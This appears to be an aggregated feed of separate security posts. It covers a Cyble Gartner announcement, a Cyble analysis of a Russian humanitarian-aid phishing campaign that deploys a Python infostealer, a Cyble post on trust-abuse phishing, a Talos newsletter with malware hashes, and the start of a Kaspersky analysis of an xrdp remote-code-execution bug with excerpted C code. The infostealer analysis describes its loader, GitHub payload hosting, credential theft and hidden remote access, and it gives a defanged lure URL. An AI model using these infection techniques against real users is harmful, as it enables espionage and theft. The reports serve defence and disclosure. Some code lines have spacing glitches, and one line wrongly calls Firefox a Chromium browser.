This morning, Cyble was recognized in the 2026 Gartner® Magic Quadrant™ for Cyberthreat Intelligence Technologies as a Challenger. 

I want to use this post for two things. First, to thank the people who got us here. Second, to share what we believe this recognition actually signals — because the more interesting story isn’t about Cyble at all. It’s about where this category is going. 

A milestone for us, not a finish line 

Six years ago, when we started Cyble, the threat intelligence market was a fragmented mix of feed aggregators, dark web monitoring point tools, and incident-response heritage vendors trying to retrofit themselves into a different decade. We saw a different future: one where intelligence is AI-native by default, unified across the surface and dark web, delivered straight into the SOC workflow, and built for the speed adversaries actually move. 

We bet on that future hard. Today, several organizations across 50+ countries trust us to run that vision in production. And today, Gartner placed us in the Challengers Quadrant alongside what we believe are the most established names in the category. 

For us, being named “a Challenger” isn’t a footnote. It’s a signal that Cyble is now operating at the level of the incumbents — with a sharper, AI-native foundation underneath. That’s the bet finally paying off in public. 

What we believe this recognition signals about the category 

Three things, in order of importance: 

1. The category has changed. The buyer has too. 

A decade ago, threat intelligence was a research function. It produced reports. Today, threat intelligence is an operational function. It produces actions. The teams winning in 2026 don’t have time for a 40-page weekly bulletin — they need a platform that triages noise into signal at AI-speed and pipes it into the workflows their analysts already use. 

As we see it, the Magic Quadrant reflects that shift. The vendors moving up are the ones investing in operational depth, not just content depth. 

2. Unified beats fragmented. Always. 

The most consistent feedback we hear from CISOs is that they’re tired of stitching five tools together to investigate one threat. Dark web in one console. Brand monitoring in another. Attack surface somewhere else. Vulnerability prioritization in a fourth. Executive protection bolted on as an afterthought. 

Cyble’s bet from day one: this should be one platform. One workbench. One source of truth for everything happening outside your perimeter. The market is finally catching up to that thesis, and the analyst community is recognizing it. 

3. AI in CTI is past the demo phase. 

Three years ago, “AI in threat intelligence” mostly meant “we used a model to cluster keywords.” Today, AI is doing the work — translating a Russian-language forum post into context-rich intelligence, correlating leaked credentials with actual customer accounts in real time, predicting which CVEs will be weaponized in the next 30 days. Our customers run this in production, every day. 

We feel the Magic Quadrant recognition is, in part, recognition that this work is real now. It’s not a slide. It’s running in your SOC. 

What it doesn’t mean 

A few things I want to be careful about, because moments like this can encourage overstatement: 

• This recognition is not an endorsement. Gartner does not endorse vendors. The Magic Quadrant is a research opinion, not a buying recommendation. If you’re a security leader making a CTI decision, please do the diligence you’d do anyway — POCs, customer references, hands-on evaluation against your real use cases. 

• We are a Challenger, not a Leader. We’re proud of where we are positioned. We’re also clear-eyed about why we believe so: Leaders typically reflect a longer market tenure and broader feature surface, both of which compound with time. We have work ahead of us, and we know exactly where. 

• A quadrant placement doesn’t change a single threat in your environment. The work is still the work. Adversaries don’t read research reports. 

What we owe the people who got us here 

This is the part I care about most. 

To our customers: thank you. Every conversation about triage speed, dark web visibility, and SOC integration shaped what we built. You pushed us harder than any roadmap process ever could. 

To the Cyble team — every researcher, engineer, designer, CSM, seller, partner manager, ops person, recruiter — this milestone is yours. I get to write the blog post. You did the work. 

To the analysts and the broader research community: thank you for taking the time to understand what we’re building. The rigor in this category is what makes it credible. 

What’s next 

Three things you can expect from Cyble in the next 12 months: 

1. Deeper AI capabilities in the analyst workbench — predictive prioritization, automated investigation, language coverage in regions where adversaries are getting harder to track. 

2. Tighter SOC integration, including expanded native connectors and better evidence handoffs into your detection-engineering and IR workflows. 

3. Broader category coverage — third-party risk, executive protection, brand intelligence — all delivered in one pane of glass, not bolted on. 

And in 18 months, we plan to be a different name on a different part of the quadrant. That’s the work. 

If you want to read the report, we’ve made a complimentary copy available here: Access the report here. 

If you want to talk about what this means for your CTI program, contact our team, here. 

To everyone who’s been part of this journey — customers, Cyblers, partners, analysts — thank you. 

We’re just getting started. 

— Beenu Arora Co-Founder & CEO, Cyble 

Gartner, Magic Quadrant for Cyber Threat Intelligence Technologies, Jonathan Nunez, Carlos De Sola Caraballo, Jaime Anderson, May 4, 2026. 

Gartner and Magic Quadrant are trademarks of Gartner, Inc. and/or its affiliates. 

Gartner does not endorse any company, vendor, product or service depicted in its publications, and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner publications consist of the opinions of Gartner’s business and technology insights organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this publication, including any warranties of merchantability or fitness for a particular purpose. 

The post Cyble Recognized in the 2026 Gartner® Magic Quadrant™ for Cyberthreat Intelligence Technologies — and What Cyble Feels It Means for the Next Era of Threat Intel appeared first on Cyble.

Executive Summary

Cyble Research and Intelligence Labs (CRIL) has uncovered a targeted cyberespionage campaign leveraging social engineering and trusted infrastructure to establish persistent, covert access to victim systems.

The attack is delivered via phishing emails containing a malicious LNK file disguised within a RAR archive, using a Russian humanitarian aid request form to exploit contextual trust. Evidence of a secondary survey-based lure indicates the threat actor is actively refining delivery techniques.

Execution triggers a stealthy, multi-stage infection chain in which a decoy document is presented to the user while a heavily obfuscated, fileless (PE-less) Python-based implant is silently deployed.

The payload is retrieved from GitHub Releases, enabling the attacker to blend malicious traffic with legitimate services and evade traditional detection mechanisms. Persistence is established through scheduled tasks, ensuring long-term, resilient access.

Once active, the implant operates as a full-spectrum surveillance platform, enabling credential harvesting, keystroke logging, clipboard and screenshot capture, sensitive data exfiltration, and covert remote access. The campaign prioritizes continuous intelligence collection while maintaining a low operational footprint and minimal user visibility.

While attribution remains inconclusive, the artifacts strongly suggest a deliberate intelligence-gathering operation likely targeting Russian-speaking individuals or entities.

Key Takeaways

• The LNK file contains self-obfuscated content that is extracted and executed by PowerShell, using a deliberate technique to evade automated sandbox analysis.
• Multiple lure types themed around humanitarian aid, written in Russian, have been observed, suggesting the intended targets are Russian-speaking individuals, and the threat actor is actively adapting delivery approaches.
• The payload is obfuscated using PyArmor and hosted on GitHub Releases, a deliberate combination to evade static detection and bypass network-level security controls.
• During analysis, the implant was observed collecting browser credentials, session cookies, keystrokes, clipboard data, screenshots, Telegram session data, and sensitive files from the victim's machine.
• Remote desktop access is established silently using RustDesk or AnyDesk, giving the attacker persistent interactive access to the victim's machine with no visible window.
• Persistence is achieved through a Windows Scheduled Task that survives system reboots, ensuring the implant remains continuously active in the background.
• The threat actor behind this campaign has not been conclusively attributed. The campaign uses a surveillance-first, PE-less Python architecture and custom C2 infrastructure, consistent with a targeted espionage operation.

Technical Analysis

This section provides a detailed walkthrough of the attack chain, from initial delivery to payload execution and data collection, based on static and dynamic analysis of the identified samples.

Stage 1: Malicious LNK File Delivery

The infection begins with a Windows shortcut file delivered to the target.

The LNK file is significantly larger than a typical Windows shortcut, as it contains self-obfuscated Unicode content embedded within its body. PowerShell reads this content from a specific offset, decodes it, and executes it in memory. This is a deliberate anti-sandbox technique, as the malware will not execute if the original file is absent from disk, making it appear clean to automated scanning tools.

Stage 2: Decoy Lure Delivery

Upon execution, the malware downloads a Russian-language humanitarian aid request form ("O predostavlenii gumanitarnoy pomoshchi") from the C2 server, saves it to %TEMP%\open_doc, and displays it to the victim. The lure of both the RAR archive and the LNK file reference humanitarian aid, reinforcing the lure's credibility.

While the victim reads the document, the real installation runs silently in the background. A second variant involving a survey link (hxxp[:]//159.198.41.140/test/index.php?r=survey/index&sid=936926&newtest=Y&lang=ru%22) has also been observed.

Stage 3: Python Environment Bootstrap

The malware creates a fully self-contained Python environment inside the user's %appdata% folder, requiring no administrator privileges.

`The installation directory is named WindowsHelper to mimic a legitimate Windows system component. The malware correctly handles a known technical requirement for Python's embedded distribution (patching the ._pth file to enable pip), a detail that reflects genuine developer skill. The following Python libraries are installed, each enabling a specific capability:

Stage 4: Payload Download and Persistence

The main payload is downloaded from a dedicated GitHub account. Storing it in GitHub Releases rather than the repository code is a deliberate evasion choice, as release artifacts receive less scrutiny from automated scanners and updates can be pushed silently with no commit history. The same account also hosts clean, legitimate files, including the Python embedded runtime and pip installer, making the entire download chain appear as normal GitHub traffic.

Beyond the malicious payload, the same GitHub account also hosts the Python embedded runtime (python-3.12.10-embed-amd64.zip) and the pip installer (get-pip.py) as separate release tags. These are clean, legitimate files. Hosting them on the same repository allows the attacker to download and bootstrap the entire Python environment from a single trusted source, making the full installation chain appear as normal GitHub traffic to network monitoring tools.

The attacker's GitHub Release page shows frequent republishing of data.zip, with its sha256 hash changing across versions, confirming the threat actor remains active and is continuously updating the campaign payload.

Persistence

Two silent VBScript launchers, run.vbs and launch_module.vbs, invoke the payload through pythonw.exe with no visible window.

A Windows Scheduled Task named “WindowsHelper” is registered to run at a short recurring interval, ensuring the implant persists across reboots and remains continuously active in the background.

Stage 5: Active Payload Capabilities

The main payload, module.pyw, is protected with PyArmor v9.2 Pro, a commercial obfuscation tool that converts Python bytecode into a format that resists static analysis and decompilation. Analysis of the disassembled bytecode revealed the following active capabilities:

Browser Credential and Cookie Collection

The implant collects stored passwords and session cookies from all major Chromium-based browsers, including Firefox. For Chromium browsers, it extracts the AES-GCM master key from the Local State file and uses it to decrypt stored credentials. It handles both legacy DPAPI-based decryption and newer Chrome encryption schemes (v10, v11, and v20).

• Target browsers: Chrome, Edge, Brave, Opera, Yandex Browser, Firefox
• Functions identified in bytecode: get_master_key, decrypt_chromium_data, extract_chromium_passwords, collect_and_send_cookies, extract_login_data, extract_firefox_passwords

Keylogging

Keystrokes are captured continuously via the keyboard library, stored in keystrokes_log.txt, and periodically uploaded to the C2 server.

Clipboard Monitoring

The malware monitors clipboard contents in real time using the pyperclip library. Any text copied by the victim, including passwords, tokens, and other sensitive content.

Screenshot Capture

The mss library captures continuous desktop screenshots, which are archived as ZIP files and uploaded periodically. Old archives are automatically cleaned up to avoid excessive disk usage.

File Collection

The implant recursively scans user directories, skipping system folders and low-value file types, to collect documents, configuration files, and credential stores.

This selective filtering is designed to identify high-value files, including documents, configuration files, source code, and credential stores on the Desktop, in Documents, and similar user locations.

A SQLite database inventory_state.db tracks scanned files to avoid re-uploading unchanged content. Files are also scanned for 64-character hexadecimal strings consistent with cryptocurrency private keys.

Telegram Session Collection

The tdata session folder is extracted and uploaded, giving the attacker full access to the victim's Telegram account without requiring a password.

Remote Access via RustDesk and AnyDesk

Static analysis of the payload reveals the capability to silently download and install RustDesk and AnyDesk. RustDesk, signed by Open Source Developer Huabing Zhou, is a legitimate remote desktop tool that is being abused here to blend in with normal software. The code is designed to hide the application window from the victim and to send the connection credentials back to the C2 server, potentially giving the attacker persistent remote desktop access.

Command and Control Infrastructure

All collected data is transmitted to a single attacker-controlled server. The server hosts a custom-built login panel (Login - Dashboard) that the attacker can use to access all collected data, monitor active implants, and initiate remote desktop sessions.

The C2 server was confirmed live and serving the attacker's login panel as of May 2026. The use of a commercial VPS provider with low-friction provisioning reflects a common pattern among threat actors seeking to quickly deploy and replace infrastructure.

Attribution:

The intended targets of this campaign appear to be Russian-speaking individuals, as evidenced by the Russian-language lure content referencing humanitarian aid. The use of a humanitarian aid application form as a decoy suggests the targets may include individuals or organizations involved in aid distribution, civil administration, or related government functions.

Conclusion

This campaign represents a well-constructed, technically capable cyberespionage operation. The attacker combines a convincing Russian-language humanitarian aid lure with a multi-stage infection chain that silently deploys a full-featured surveillance platform on victim machines.

The Python implant goes beyond credential collection. It enables the attacker to monitor every action a victim takes, collect active browser sessions, capture communications, and maintain live remote desktop access.

The use of PyArmor v9.2 Pro for payload obfuscation, GitHub Releases for payload hosting, and a custom Flask C2 panel demonstrates a technically skilled and operationally disciplined threat actor.

The campaign is active and ongoing. The Russian-language lure content and humanitarian aid theme point to Russian-speaking individuals as the intended target audience.

The use of multiple lure types, particularly humanitarian ones, indicates active development and adaptation. Organizations and individuals should treat this as an active threat and apply the recommendations in this report.

Recommendations

• Treat unsolicited files received through email or messaging platforms with caution, especially compressed archives and shortcut files. Verify the sender through a separate trusted channel before opening any attachment.
• Enable file extension visibility in Windows to prevent files from being disguised using misleading names or double extensions.
• Regularly audit the Windows Task Scheduler for unexpected or newly created tasks, particularly those scheduled to run at short, recurring intervals without a known business justification.
• Monitor endpoint activity for the creation of self-contained scripting environments in user-writable directories, as this is a common technique for executing malicious code without administrative privileges.
• Block outbound network traffic to known malicious infrastructure at the perimeter and alert on downloads from newly registered or low-reputation hosting accounts on code-sharing platforms.
• Monitor for the silent installation of remote desktop tools by non-administrative processes, as legitimate software abused for remote access is a growing attacker technique that can be difficult to detect without process-level visibility.
• Deploy endpoint detection rules targeting obfuscated or packed script files appearing in non-standard user directories, as commercially packed payloads are increasingly used to evade static analysis.
• Ensure security teams have visibility into scheduled task creation, scripting interpreter activity, and outbound HTTP connections from user-space processes, as these are the primary indicators of this class of threat.

MITRE ATT&CK TTPs

Indicators of Compromise (IOCs)

The post Operation HumanitarianBait: An Infostealer Campaign in Disguise appeared first on Cyble.

The modern enterprise is no longer breached in the traditional sense. Firewalls remain intact; endpoints appear compliant, and credentials are often never “stolen” in the usual way. Yet attackers still get in—and stay in. The difference lies in how trust is being weaponized.  

Threat actors are executing what looks like a supply chain attack without ever touching the actual supply chain infrastructure. Instead, they exploit the implicit trust organizations place in browsers, third-party services, and user behavior. 

This shift represents a quiet but dangerous evolution in supply chain cybersecurity. It’s less about breaking systems and more about bending them, using legitimate access paths to bypass defenses that were designed to stop intrusion, not misuse. 

The Rise of “Invisible” Supply Chain Attacks 

Traditional software supply chain attack scenarios often involve tampering with code libraries, compromising vendors, or injecting malicious updates. Those risks still exist, but attackers are now pursuing a lighter, faster approach: manipulating user-facing workflows that rely on trusted platforms. 

In recent campaigns, phishing pages masquerade as routine services—identity verification tools, account recovery portals, or internal workflows. What makes these attacks stand out is not just the deception, but the permissions they request. Instead of asking for passwords, they request access to cameras, microphones, and device-level metadata. 

This tactic transforms a simple phishing attempt into a sophisticated supply chain attack example—one where the “chain” is not software distribution, but user trusts in familiar digital processes. 

Once permissions are granted, the attack doesn’t need to escalate privileges. It already has them. 

When Browsers Become Data Exfiltration Tools 

Modern browsers are powerful. They support APIs for video capture, audio recording, geolocation, and device fingerprinting. These capabilities are designed for legitimate applications—but in the wrong hands, they become surveillance tools. 

Attackers embed scripts within phishing pages that activate these features immediately after permission is granted. Within seconds, they can: 

• Capture images and short video clips from the user’s camera  

• Record audio through the microphone  

• Collect device details such as OS, browser version, and memory  

• Approximate location and network characteristics  

This isn’t brute-force hacking. It’s precision harvesting. 

The data is then quietly transmitted to attacker-controlled systems, often using simple channels like messaging bots. There’s no need for complex infrastructure, which makes detection even harder. 

From a supply chain cybersecurity perspective, this is particularly concerning. The browser—arguably one of the most trusted components in enterprise environments—becomes the weakest link. 

QR Codes and the Expansion of the Attack Surface 

Another variation of this evolving threat involves QR codes embedded in seemingly legitimate documents. This technique, often called “quishing,” shifts the attack from desktops to mobile devices. 

An employee receives a polished PDF—perhaps an HR document or compliance guide. It looks authentic, reads well, and builds credibility. Then, at the end, it asks the user to scan a QR code for more information. 

That scan leads to a phishing site. 

Because QR codes obscure the underlying URL, they bypass many traditional email filters. On mobile devices, where users are less likely to scrutinize links, the success rate increases dramatically. 

This approach represents another subtle supply chain attack example: attackers are exploiting trusted communication formats—PDFs, QR codes, and mobile workflows—to deliver malicious payloads without triggering alarms. 

Adversary-in-the-Middle: The New Credential Theft 

Credential harvesting has also evolved. Instead of simply collecting usernames and passwords, attackers now position themselves between the user and the legitimate service. 

This adversary-in-the-middle (AITM) technique allows them to intercept: 

• Login credentials  

• Multi-factor authentication (MFA) codes  

• Session tokens  

In effect, they don’t just log in—they become the user. 

This is particularly damaging in enterprise environments where MFA was once considered a strong defense. It highlights a critical gap in how to prevent supply chain attacks: focusing solely on authentication is no longer enough. Continuous verification and behavioral monitoring are now essential. 

Why These Attacks Work 

What makes these campaigns effective isn’t just technical sophistication—it’s psychological alignment. Every step mimics something users already trust: 

• Identity verification flows  

• Corporate documents  

• QR-based access to resources  

• Familiar login interfaces  

Attackers are not introducing new behaviors; they are blending into existing ones. 

This is why traditional defenses struggle. Security tools are designed to detect anomalies, but these attacks look normal—because they are built on legitimate features. 

Rethinking Defense: From Perimeter to Context 

Defending against this new class of software supply chain attack requires a shift in mindset. Organizations must move beyond perimeter-based security and adopt a context-driven approach. 

Key strategies include: 

• Strict permission governance: Limit browser access to sensitive hardware unless necessary  

• Behavioral monitoring: Detect unusual patterns in device usage and data access  

• Zero Trust architecture: Continuously verify users, devices, and sessions  

• User awareness: Train employees to question permission requests, not just links  

Understanding how to prevent supply chain attacks now means recognizing that the “supply chain” includes user interactions, browser capabilities, and third-party workflows—not just software dependencies. 

Strengthening Endpoint Resilience with Cyble Titan 

As attackers exploit trusted access points, endpoint visibility becomes critical. This is where platforms like Cyble Titan play a strategic role. 

Cyble Titan is designed to go beyond traditional endpoint protection. It brings together real-time telemetry, threat intelligence, and automated response into a unified platform. Rather than relying on static rules, it continuously analyzes behavior across endpoints, detecting subtle anomalies that indicate misuse of legitimate tools. 

Key strengths include: 

• Real-time visibility: Deep insights into processes, file activity, and user behavior  

• Intelligence-driven detection: Integration with threat intelligence for contextual awareness  

• Automated response: Rapid containment to reduce attacker dwell time  

• Cross-platform coverage: Coverage for environments across Windows, Linux, and macOS  

In the context of supply chain cybersecurity, this level of visibility is essential. When attacks don’t “break in” but instead operate within trusted boundaries, detection depends on understanding what shouldn’t be happening, even if it looks normal on the surface. 

Trust Is the New Attack Surface 

The definition of a breach is changing. It’s no longer about unauthorized access—it’s about unauthorized use of authorized access. 

These emerging supply chain attack examples demonstrate that attackers are adapting faster than traditional defenses. They are leveraging trust, not bypassing it. And that makes them harder to detect, harder to prevent, and potentially more damaging. 

Organizations that want to stay ahead must rethink how to prevent supply chain attacks. That means focusing on context, behavior, and continuous verification—not just barriers. 

Ready to see how modern endpoint security can close these gaps? Explore Cyble Titan and experience a more intelligent approach to defending against today’s most deceptive threats.  

Request a demo and evaluate how real-time visibility and AI-driven detection can strengthen your security posture from the inside out. 

The post Third-Party Breaches Without Breaches: How Attackers Use Trusted Access to Bypass US Enterprise Defenses appeared first on Cyble.

Welcome to this week’s edition of the Threat Source newsletter.

Hey, you. Yeah, you! The person endlessly scrolling or typing away at their computer. Did you touch grass today? It's just an expression, but if nature’s your thing, that works just fine.

What I do mean is that due to the nature of the field, cybersecurity is incredibly intangible. You can’t reach out and touch your logs, or the packets traversing your network, or the concept of DNS exfiltration... and if you tried, you’d just feel the smooth surface of your computer screen. (What a boring texture.) Spending all our time in the abstract can create some serious mental fatigue.

My point is that there’s something powerful to be said about engaging with the physical world. When we engage in a tactile hobby, we give our brains a hard reset. By moving from the abstract to the physical, our brains get the time and space to process the complex problems we’ve been staring at, often leading to the “aha!” moment that never comes when you're trying to force it.

The other week, I was working in the Talos office with the Creative team. It was a quiet afternoon, people’s energy sapped by stomachs full of Mediterranean food. That was swiftly interrupted (in the best way) when Joe Marshall came over into our work area with his miniature painting kit, broke it open, and started teaching us how to drybrush 3D-printed figurines. Everyone immediately came alive. While I didn’t partake (I know, “Do as I say, not as I do”), it reminded me of how revitalized I feel when I get outside for a walk during lunch or spend 10 minutes knitting in silence between meetings. There’s nothing to focus on but the feel of the yarn between your fingers, the clacking of the needles, and the repetitive motions that result in a physical object you can wear and fish for compliments about.

Speaking of, do you think the vest I knit is cool? All compliments can be sent to me on LinkedIn, and I refuse to accept any negative comments. (Critiques are fine.)

Ahem... anyway. Go on a walk without your earbuds, listen to the wind through the leaves, ask a stranger to pet their dog, watch a pigeon bop its head around, and reach out to touch a cool-looking rock or the lichen on a tree. I hear you saying, "That’s some tree-hugging bullshit,” and counter you with, “Just humor me, okay? What’s the worst that could happen?”

If you’re more of an inside person, the goal might be to find a physical anchor for your technical interest. Maybe it’s building a mechanical keyboard from scratch — feeling the weight of the switches and hearing the click of the keycaps. Maybe it’s a complicated LEGO set. Even something as simple as making espresso or organizing your bookshelf can provide that sensory feedback your brain is craving.

If you're not currently facing a life-altering deadline, take 10 minutes and try it now. The rest of the newsletter isn’t going anywhere, I promise.

When you pay attention to the noises you hear, the colors you see, and the textures under your fingertips, you might come back to your laptop refreshed, focused, and ready to solve the next problem.

The one big thing 

Cisco Talos has recently expanded our threat intelligence capabilities to track phone numbers as critical indicators of compromise (IOCs) in scam emails. Our latest research reveals that attackers heavily favor API-driven VoIP numbers to execute high-volume, cost-effective Telephone-Oriented Attack Delivery (TOAD) campaigns. To evade detection, these threat actors rotate through sequential blocks of numbers, use strategic cool-down periods, and recycle the exact same digits across completely unrelated lures and impersonated brands. 

Why do I care? 

Tracking ephemeral sender email addresses is a losing game, but phone numbers are the true operational anchors for these organized scam call centers. Because attackers reuse these numbers across multiple document types and brand impersonations, defenders who cluster this telephony infrastructure can expose the broader network of malicious activity. Understanding these reuse patterns gives defenders a much-needed edge in mapping out and dismantling these operations before users are manipulated into handing over sensitive data. 

So now what? 

Security teams should shift their focus toward clustering scam lures based on shared phone numbers and prioritize real-time reputation monitoring to flag high-risk infrastructure. Deploying an AI-powered email security solution like Cisco Secure Email Threat Defense can also help evaluate different portions of incoming emails to catch these targeted threats. A full list of indicators of compromise (IOCs) associated with these campaigns can be found in the blog.

Top security headlines of the week 

DigiCert revokes certificates after support portal hack 
The attack, the company said in a detailed report, occurred on April 2, when a threat actor targeted DigiCert’s support team with a malicious payload delivered via a customer chat channel, disguised as a screenshot. (SecurityWeek) 

Ubuntu services hit by outages after DDoS attack 
The DDoS-for-hire service in this case claims to power attacks in excess of 3.5 Tbps, which is about half of the bandwidth of a cyberattack that Cloudflare last year called the “largest DDoS attack ever recorded.” (TechCrunch) 

Canvas maker Instructure reveals data breach 
Instructure said the actors accessed “certain identifying information of users” at affected institutions, including names, email addresses, student ID numbers, and user communications. (Tech Radar) 

Exploitation of “Copy Fail” Linux vulnerability begins 
Threat actors are exploiting a recently disclosed Linux kernel vulnerability leading to root shell access, the US cybersecurity agency CISA warns. Dubbed Copy Fail, the security defect impacts all Linux distributions since 2017. (SecurityWeek) 

Student hacked Taiwan high-speed rail to trigger emergency brakes 
According to local reports, the student halted four trains for 48 minutes by using software-defined radio (SDR) communications and handheld radios to transmit a high-priority “General Alarm” signal, triggering emergency braking procedures. (BleepingComputer) 

Can’t get enough Talos? 

Tales from the Frontlines 
In this briefing, we’ll share behind-the-scenes insights from the most critical and high-impact incidents we responded to in the last quarter. This isn't a report walkthrough; it's a look at what really happened, how we handled it, and what it means for your organization. 

UAT-8302 and its box full of malware 
Cisco Talos is disclosing UAT-8302, a sophisticated, China-nexus APT group targeting government entities in South America since at least late 2024 and government agencies in southeastern Europe in 2025. 

CloudZ RAT potentially steals OTP messages using Pheno plugin 
Cisco Talos discovered an intrusion, active since at least January 2026, where an unknown attacker implanted a CloudZ remote access tool (RAT) and a previously undocumented plugin called “Pheno.” 

The trust paradox: How attackers weaponize legitimate SaaS platforms 
In this episode of Talos Takes, Amy Ciminnisi sits down with researcher Diana Brown to discuss the rise of "platform-as-a-proxy" (PAP) attacks. 

Upcoming events where you can find Talos 

• PIVOTcon (May 6 – 8) Málaga, Spain 
• OffensiveCon (May 15 – 16) Berlin, Germany 
• Cisco Live U.S. (May 31 – June 4) Las Vegas, Nevada 

Most prevalent malware files from Talos telemetry over the past week 

SHA256: 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507  
MD5: 2915b3f8b703eb744fc54c81f4a9c67f  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507  
Example Filename: VID001.exe  
Detection Name: Win.Worm.Coinminer::1201** 

SHA256: 96fa6a7714670823c83099ea01d24d6d3ae8fef027f01a4ddac14f123b1c9974  
MD5: aac3165ece2959f39ff98334618d10d9  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=96fa6a7714670823c83099ea01d24d6d3ae8fef027f01a4ddac14f123b1c9974  
Example Filename: d4aa3e7010220ad1b458fac17039c274_63_Exe.exe  
Detection Name: W32.Injector:Gen.21ie.1201 

SHA256: 90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59  
MD5: c2efb2dcacba6d3ccc175b6ce1b7ed0a  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59  
Example Filename: APQ9305.dll  
Detection Name: Auto.90B145.282358.in02 

SHA256: e60ab99da105ee27ee09ea64ed8eb46d8edc92ee37f039dbc3e2bb9f587a33ba  
MD5: dbd8dbecaa80795c135137d69921fdba  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=e60ab99da105ee27ee09ea64ed8eb46d8edc92ee37f039dbc3e2bb9f587a33ba  
Example Filename: u112417.dat  
Detection Name: W32.Variant:MalwareXgenMisc.29d4.1201 

SHA256: a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91 
MD5: 7bdbd180c081fa63ca94f9c22c457376  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91  
Example Filename: d4aa3e7010220ad1b458fac17039c274_62_Exe.exe  
Detection Name: Win.Dropper.Miner::95.sbx.tg** 

LevelBlue’s Security Services issues Threat Analysis reports to inform on impacting threats. The Threat Analysis reports investigate these threats and provide practical recommendations for protecting against them.

In addition to KasperskyOS-powered solutions, Kaspersky offers various utility software to streamline business operations. For instance, users of Kaspersky Thin Client, an operating system for thin clients, can also purchase Kaspersky USB Redirector, a module that expands the capabilities of the xrdp remote desktop server for Linux. This module enables access to local USB devices, such as flash drives, tokens, smart cards, and printers, within a remote desktop session – all while maintaining connection security.

We take the security of our products seriously and regularly conduct security assessments. Kaspersky USB Redirector is no exception. Last year, during a security audit of this tool, we discovered a remote code execution vulnerability in the xrdp server, which was assigned the identifier CVE-2025-68670. We reported our findings to the project maintainers, who responded quickly: they fixed the vulnerability in version 0.10.5, backported the patch to versions 0.9.27 and 0.10.4.1, and issued a security bulletin. This post breaks down the details of CVE-2025-68670 and provides recommendations for staying protected.

Client data transmission via RDP

Establishing an RDP connection is a complex, multi-stage process where the client and server exchange various settings. In the context of the vulnerability we discovered, we are specifically interested in the Secure Settings Exchange, which occurs immediately before client authentication. At this stage, the client sends protected credentials to the server within a Client Info PDU (protocol data unit with client info): username, password, auto-reconnect cookies, and so on. These data points are bundled into a TS_INFO_PACKET structure and can be represented as Unicode strings up to 512 bytes long, the last of which must be a null terminator. In the xrdp code, this corresponds to the xrdp_client_info structure, which looks as follows:

{
[..SNIP..]
char username[INFO_CLIENT_MAX_CB_LEN];
char password[INFO_CLIENT_MAX_CB_LEN];
char domain[INFO_CLIENT_MAX_CB_LEN];
char program[INFO_CLIENT_MAX_CB_LEN];
char directory[INFO_CLIENT_MAX_CB_LEN];
[..SNIP..]
}

The value of the INFO_CLIENT_MAX_CB_LEN constant corresponds to the maximum string length and is defined as follows:

#define INFO_CLIENT_MAX_CB_LEN 512

When transmitting Unicode data, the client uses the UTF-16 encoding. However, the server converts the data to UTF-8 before saving it.

if (ts_info_utf16_in( // [1]
            s, len_domain, self->rdp_layer->client_info.domain, sizeof(self->rdp_layer->client_info.domain)) != 0) // [2]
{
[..SNIP..]
}

The size of the buffer for unpacking the domain name in UTF-8 [2] is passed to the ts_info_utf16_in function [1], which implements buffer overflow protection [3].

static int ts_info_utf16_in(struct stream *s, int src_bytes, char *dst, int dst_len)
{
   int rv = 0;
   LOG_DEVEL(LOG_LEVEL_TRACE, "ts_info_utf16_in: uni_len %d, dst_len %d", src_bytes, dst_len);
   if (!s_check_rem_and_log(s, src_bytes + 2, "ts_info_utf16_in"))
   {
       rv = 1;
   }
   else
   {
       int term;
       int num_chars = in_utf16_le_fixed_as_utf8(s, src_bytes / 2,
                                                 dst, dst_len); 
       if (num_chars > dst_len) // [3]
       {
           LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: output buffer overflow"); rv = 1;
       }
       / / String should be null-terminated. We haven't read the terminator yet
       in_uint16_le(s, term);
       if (term != 0)
       {
           LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: bad terminator. Expected 0, got %d", term);
           rv = 1;
       }
   }
   return rv;
}

Next, the in_utf16_le_fixed_as_utf8_proc function, where the actual data conversion from UTF-16 to UTF-8 takes place, checks the number of bytes written [4] as well as whether the string is null-terminated [5].

{
   unsigned int rv = 0;
   char32_t c32;
   char u8str[MAXLEN_UTF8_CHAR];
   unsigned int u8len;
   char *saved_s_end = s->end;

   // Expansion of S_CHECK_REM(s, n*2) using passed-in file and line #ifdef USE_DEVEL_STREAMCHECK
   parser_stream_overflow_check(s, n * 2, 0, file, line); #endif
   // Temporarily set the stream end pointer to allow us to use
   // s_check_rem() when reading in UTF-16 words
   if (s->end - s->p > (int)(n * 2))
   {
       s->end = s->p + (int)(n * 2);
   }

   while (s_check_rem(s, 2))
   {
       c32 = get_c32_from_stream(s);
       u8len = utf_char32_to_utf8(c32, u8str);
       if (u8len + 1 <= vn) // [4]
       {
           /* Room for this character and a terminator. Add the character */
           unsigned int i;
           for (i = 0 ; i < u8len ; ++i)
           {
               v[i] = u8str[i];
           }

           v n -= u8len;
           v += u8len;
       }

       else if (vn > 1)
       {
           /* We've skipped a character, but there's more than one byte
           * remaining in the output buffer. Mark the output buffer as
           * full so we don't get a smaller character being squeezed into
           * the remaining space */
           vn = 1;
       }

       r v += u8len;
   }
   // Restore stream to full length s->end = saved_s_end;
   if (vn > 0)
   {
       *v = '\0'; // [5]
   }
   + +rv;
   return rv;
}

Consequently, up to 512 bytes of input data in UTF-16 are converted into UTF-8 data, which can also reach a size of up to 512 bytes.

CVE-2025-68670: an RCE vulnerability in xrdp

The vulnerability exists within the xrdp_wm_parse_domain_information function, which processes the domain name saved on the server in UTF-8. Like the functions described above, this one is called before client authentication, meaning exploitation does not require valid credentials. The call stack below illustrates this.

x rdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
     int decode, char *resultBuffer)
xrdp_login_wnd_create(struct xrdp_wm *self)
